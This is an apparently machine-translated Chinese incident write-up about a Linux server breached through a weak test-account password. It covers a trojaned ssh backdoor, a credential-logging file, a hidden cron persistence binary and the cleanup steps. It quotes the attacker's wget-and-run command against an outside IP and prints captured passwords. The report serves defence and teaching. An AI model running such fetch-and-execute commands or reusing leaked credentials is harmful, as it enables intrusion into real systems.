裸奔的后果！一次ssh被篡改的***事件

裸奔的后果！一次ssh被篡改的***事件

一般的服务器安全风险在小规模企业中往往被忽视，也没有安全运营商，尤其是游戏市场。手游套装由于其框架广泛，一般都是内网进行数据信息交互，一般端口号不扩展开放，所以对安全风险非常重视。接下来，这是我人生中第一次***在Linux的自然环境中。之前只有几次WindowsServer***故障排除的工作经验。我在Linux的自然环境中感到不舒服。由于我的工作经验和安全意识不足，没有立即保护被入侵的服务器，导致蔓延到更多的服务器。在此，我断三根手指以示悔意。呵呵，开玩笑的。

一、恶性事件回顾

这次服务器***是典型的明文密码导致的。因为一个工作人员的疏忽，在一个服务器上创建了一个新的测试客户端，并应用了同名的明文密码，以方便调整工作中需要的脚本专用工具。当天在脚本调整的情况下发现了一些异常的不准确。应用程序根客户端无法通过ssh远程登录到其他服务器。另外，scp命令如果出现异常是无法应用的，但是其他服务器可以通过scp将文件复制到服务器，然后将问题反馈给运维管理人员，运维管理人员会进行调查。

二。故障排除的整个过程

收到问题的反馈，关键问题与ssh有关，大家的运维管理对这台服务器进行了调查，发现ssh-v中的openssl版本没有显示，输出的协助信息与其他服务器不一致。然后查询ssh配置，发现配置文件(ssh_config和sshd_config)已经升级，内容都有注释。这个时候我都没意识到是***。可悲的是，一开始我以为是朋友。

1.查询ssh版本和相关信息。openssl的版本显示信息异常。与其他服务器相比，辅助信息的动态显示是不同的。

2.查询ssh流程及相关文件。ssh和sshd进程文件已经升级，ssh_config和sshd_config配置文件已经升级，所有注释都在配置文件的内容上。ssh_host_key和ssh_host_key.pub是附加文件，但是其他服务器没有这两个文件。

3.再次检查，给服务器覆盖一个合适的配置文件，重启ssh服务后，发现使用ssh命令无法识别配置文件中的主要参数(这里应该实际发现ssh进程文件被伪造了，可以使用md5sum检查)

4.因为事务管理必须在其他工作中妥善处理，这件事的调查就被闲置了。直到YY讨论问题被拿出来和师傅说了才知道，有可能是有人被***。

5.认识一下实际 *** 作过服务器的朋友。他们之前已经调整了脚本制作的专用工具，添加了测试客户，并了解到他们的登录密码是test。

$ cat /etc/passwd | grep test test:x:1005:1005::/home/test:/bin/bash

6.进行深入调查，使用chkrootkit-q查询Linux系统软件是否存在侧门，发现异常。之前和一个实际 *** 作测试的客户合作的朋友，搜索历史指令记录，发现一个异常指令。

$ su - test $ history    50  wget http://71.39.255.125/~ake/perf;chmod x perf; ./perf       # 非朋友实际 *** 作的异常指令，在vm虚拟机上检测，发现能够不用指令就可以得到root管理权限 $ w                          # 没法查询到当今登陆客户（请忽视我d跳的逻辑思维） $ cat /usr/include/netda.h   # 寻找一个账号登录就纪录其登陆密码的文件（某高手寻找的） user: bin password: worlddomination user: test password: TF4eygu4@#$ds

7.在另一台服务器上，在某个账号的文件目录中找到一个dead.letter文件，用来发送获取的信息(系统软件信息、IP地址、账号密码等。)发送到特定的电子邮件地址

8.另外在另一台服务器上部署了一组异常的程序流，可能是作为一只吃肉的鸡。

$ sudo crontab -e * * * * * /usr/include/statistics/update >/dev/null 2>&1             # 原来的cron每日任务已被清除，仅有此条异常每日任务

9.查找以/usr/include/statistics作为主导程序流的文件目录，其中update是主导程序流。根据autorun脚本制作和部署，cron被伪装成cron服务项目，使原来的cron服务项目被隐藏，无法启动。将cron覆盖到原来的crontab文件，实现每分钟更新二进制程序流程。mech.pid记录隐藏的cron程序流的pid。

三。清洁工作

1.紧急恢复和清理

将所有准备好的普通ssh相关文件提交到***服务器的/tmp文件目录下。

1)查询和更改功能

$ sudo lsattr /usr/bin/ssh -u--ia-------e- /usr/bin/ssh $ sudo chattr  -ia /usr/bin/ssh        # 改动特性以确保文件可被遮盖 $ sudo lsattr /usr/sbin/sshd -u-----------e- /usr/sbin/sshd

2)修复ssh和sshd

$ sudo cp /tmp/ssh /usr/bin/         # 将ssh过程文件遮盖修复 $ sudo cp /tmp/*_config /etc/ssh/    # 将配备文件遮盖修复 $ sudo rm /etc/ssh/ssh_host_key*    # 删掉增加的异常文件 $ sudo crontab -e                   # sshd没法遮盖，应用cron方法处理 30 3 * * * pkill -9 sshd; cp /tmp/sshd /usr/sbin/; /etc/init.d/ssh restart

3)删除不必要的文件并修复crond。

$ sudo rm /usr/include/netda.h $ sudo kill -9 $(cat /usr/include/statistics/mech.pid) $ [ -d /usr/include/statistics ] && sudo rm /usr/include/statistics $ sudo /etc/init.d/cron restart

2。事后安全工作

1)更改所有涉及服务器的帐户登录密码，其他应用类似登录密码的服务器需要稍后更正。

2)配备服务器防火墙措施，只有企业网外的IP才能ssh浏览服务器。

3)对于已经***，中后期会逐步重做系统的服务器系统软件，防止出现未清除的侧门。

写在最后:

这次的问题主要是运维安全观念淡薄，服务器防火墙措施松散。为了更好的方便远程工作，比如ssh端口没有限制，服务器基本裸机运行。经过这次修修补补，我们也对服务器的安全级别提出了警告，我们需要提高防御。另外，我们掌握了典型的ssh侧门功能:一、超级密码隐藏登录；二是记录登录账号密码。事后要制定一系列***检查制度，防止***安全事故的再次发生。